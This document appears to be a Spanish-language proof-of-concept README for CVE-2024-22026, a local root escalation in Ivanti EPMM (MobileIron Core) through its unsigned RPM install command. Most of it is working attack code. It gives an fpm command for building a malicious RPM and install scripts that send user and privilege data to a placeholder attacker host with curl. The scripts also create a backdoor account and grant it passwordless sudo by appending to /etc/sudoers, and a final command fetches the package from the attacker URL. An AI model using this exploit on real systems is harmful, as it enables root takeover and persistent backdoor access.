
PoC de explotación para CVE-2024-22026 que afecta a Ivanti EPMM "MobileIron Core"
POC de exploit para CVE-2024-22026 que afecta a Ivanti EPMM "MobileIron Core"

CVE-2024-22026 es una vulnerabilidad de escalada de privilegios local en las versiones del servidor Ivanti EPMM (anteriormente MobileIron) anteriores a 12.1.0.0, 12.0.0.0 y 11.12.0.1. Esta vulnerabilidad permite a un atacante local obtener acceso root al sistema explotando el proceso de actualización de software con un paquete RPM malicioso desde una URL remota.
Lea la publicación completa del blog para obtener información técnica detallada: Explotando CVE-2024-22026: Rooteando Ivanti EPMM (MobileIron Core)
Durante nuestra investigación, descubrimos que el dispositivo utiliza el siguiente comando para obtener e instalar paquetes RPM como un usuario con pocos privilegios:
install rpm url <remote url>
El comando anterior es solo un envoltorio CLI para que ocurra lo siguiente, que se ejecuta como root
/bin/rpm -Uvh *.rpm
Este comando rpm subyacente no aplica ninguna verificación de firma ni filtrado de URL, lo que significa que se puede instalar cualquier paquete RPM. Esto permite a un atacante falsificar y entregar un paquete RPM malicioso que puede comprometer el dispositivo.
El siguiente comando se utiliza para crear un paquete RPM malicioso:
fpm -s dir -t rpm -n ivanti-privesc -v 13.37 -a i386 --description "Ivanti POC" --maintainer "exploit-poc" --before-install preinstall.sh --after-install postinstall.sh -C .
preinstall.sh)#!/bin/sh
curl -O http://<attacker_IP>/poc
exit 0
postinstall.sh)#!/bin/sh
set -e # Enable strict error checking
# Report back current user and privilege level
CURRENT_USER=$(whoami | base64)
PRIV_LEVEL=$(id -u | base64)
curl http://<attacker_IP>/poc?user=$CURRENT_USER
curl http://<attacker_IP>/poc?priv=$PRIV_LEVEL
# Create a new root user
if ! useradd -s /bin/sh -m exploit-poc; then
echo "Failed to add user 'exploit-poc'" >&2
exit 1
fi
echo "exploit-poc:<redacted_password>" | chpasswd
# Grant root privileges
if ! echo "exploit-poc ALL=(ALL) NOPASSWD: ALL" >> /etc/sudoers; then
echo "Failed to modify sudoers file" >&2
exit 1
fi
exit 0
Para explotar la vulnerabilidad, el atacante ejecutaría el siguiente comando en la CLI para obtener e instalar el RPM malicioso:
install rpm url http://<attacker_IP>/ivanti-privesc-13.37-1.i386.rpm
Ivanti ha publicado parches para solucionar CVE-2024-22026 en las siguientes versiones:
Este repositorio y su contenido están destinados únicamente a fines educativos y de investigación. El uso de la información aquí contenida es bajo su propio riesgo.